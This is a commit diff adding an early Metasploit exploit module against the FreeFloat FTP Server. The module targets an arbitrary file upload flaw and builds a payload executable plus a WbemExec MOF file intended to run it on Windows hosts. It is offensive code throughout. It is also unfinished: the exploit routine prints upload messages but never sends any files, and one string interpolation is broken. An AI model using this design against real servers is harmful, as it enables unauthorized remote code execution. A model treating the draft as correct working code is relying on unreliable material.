1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ require 'msf/core'
9
+
10
+ class Metasploit3 < Msf ::Exploit ::Remote
11
+ Rank = ExcellentRanking
12
+
13
+ include Msf ::Exploit ::Remote ::Ftp
14
+ include Msf ::Exploit ::WbemExec
15
+ include Msf ::Exploit ::EXE
16
+
17
+ def initialize ( info = { } )
18
+ super ( update_info ( info ,
19
+ 'Name' => "FreeFloat FTP Server Arbitrary File Upload" ,
20
+ 'Description' => %q{
21
+ Scre buffer overflows. FreeFloat allows remote user to upload anywhere on the file system. Win!
22
+ } ,
23
+ 'License' => MSF_LICENSE ,
24
+ 'Author' =>
25
+ [
26
+ 'juan vazquez' ,
27
+ 'sinn3r'
28
+ ] ,
29
+ 'References' =>
30
+ [
31
+ [ 'URL' , 'http://metasploit.com' ]
32
+ ] ,
33
+ 'Platform' => 'win' ,
34
+ 'Targets' =>
35
+ [
36
+ [ 'FreeFloat' , { } ] ,
37
+ ] ,
38
+ 'Privileged' => false ,
39
+ 'DisclosureDate' => "Apr 1 2012" ,
40
+ 'DefaultTarget' => 0 ) )
41
+ end
42
+
43
+ def check
44
+ connect
45
+ disconnect
46
+
47
+ if banner =~ /FreeFloat/
48
+ # Yup, you're f*cked
49
+ return Exploit ::CheckCode ::Vulnerable
50
+ else
51
+ return Exploit ::CheckCode ::Safe
52
+ end
53
+ end
54
+
55
+ def peer
56
+ "#{ rhost } :#{ rport } "
57
+ end
58
+
59
+ def exploit
60
+ print_status ( "#{ peer } - Generating payload..." )
61
+ exe_name = Rex ::Text ::rand_text_alpha ( 5 ) + ".exe"
62
+ exe = generate_payload_exe
63
+ mof_name = Rex ::Text ::rand_text_alpha ( 5 ) + ".mof"
64
+ mof = generate_mof ( mof_name , exe_name )
65
+
66
+ connect
67
+
68
+ print_status ( "#{ peer } - Uploading '{exe_name}'" )
69
+
70
+ print_status ( "#{ peer } - Uploading '#{ mof_name } '" )
71
+
72
+ disconnect
73
+ end
74
+ end
0 commit comments